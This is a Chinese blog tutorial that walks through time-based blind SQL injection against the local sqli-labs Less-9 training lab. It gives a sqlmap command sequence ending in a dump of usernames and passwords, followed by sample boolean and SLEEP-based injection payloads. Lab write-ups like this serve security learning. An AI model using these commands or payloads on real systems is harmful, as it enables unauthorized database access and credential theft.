sql注入之时间盲注

打开靶场检测注入点
python sqlmap.py -u http://localhost/sqli-labs-master/Less-9/?id=1

我们获取其数据库
python sqlmap.py -u http://localhost/sqli-labs-master/Less-9/?id=1 --dbs

获取当前数据库名称
python sqlmap.py -u http://localhost/sqli-labs-master/Less-9/?id=1 --current-db

当前数据库名称为 security,继续获取当前用户名称
python sqlmap.py -u http://localhost/sqli-labs-master/Less-9/?id=1 --current-user

当前用户名称为 root@localhost,继续获取表名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-9/?id=1 -D security --tables

获取我们想要的users表的字段
python sqlmap.py -u http://localhost/sqli-labs-master/Less-9/?id=1 -D security -T users --columns
获取到我们想要的数据
python sqlmap.py -u http://localhost/sqli-labs-master/Less-9/?id=1 -D security -T users -C username,password --dump

### SQL 注入中的布尔盲注与延时注入 #### 布尔盲注基本原理 在布尔盲注中,攻击者通过发送特定的SQL查询来判断数据库响应的变化,从而推断出数据库的内容。这种技术依赖于应用程序基于不同的输入条件给出不同类型的反馈。例如,当存在漏洞的应用程序接收到恶意构造的SQL语句后,可能会因为真假结果而表现出两种截然不同的行为模式。 对于布尔型盲注来说,通常会利用`AND`或`OR`逻辑运算符附加一个猜测性的表达式到原始查询上,并观察页面输出是否有变化[^4]。如果目标字段的第一个字符等于某个预设值,则整个请求可能成功并返回正常页面;反之则可能导致错误或其他异常情况发生。 ```sql ' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))=97 -- ``` 此代码片段尝试验证第一个表名首字母是否为'a'(ASCII码97),以此类推逐步获取更多信息。 #### 时间延迟注入基本原理 时间基盲注则是另一种形式的SQL注入攻击方式,在某些情况下即使无法直接看到应用层面上的具体差异也能够实施有效探测。其核心在于向服务器发出带有特殊指令(如SLEEP())的SQL命令让后者暂停执行一段时间再继续处理剩余部分。由于网络传输本身存在一定耗时特性加上人为引入额外等待期使得整体响应周期明显延长,因此可以通过测量前后两次访问所需的时间间隔大小来进行分析比较进而确认假设成立与否。 下面是一个典型例子: ```sql ' OR IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=98,SLEEP(5),false) -- ``` 这段脚本用来检测名为“users”的表格里首个列名称开头是不是'b'(ASCII码98),假如匹配上了就会触发休眠操作使HTTP回复变缓。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值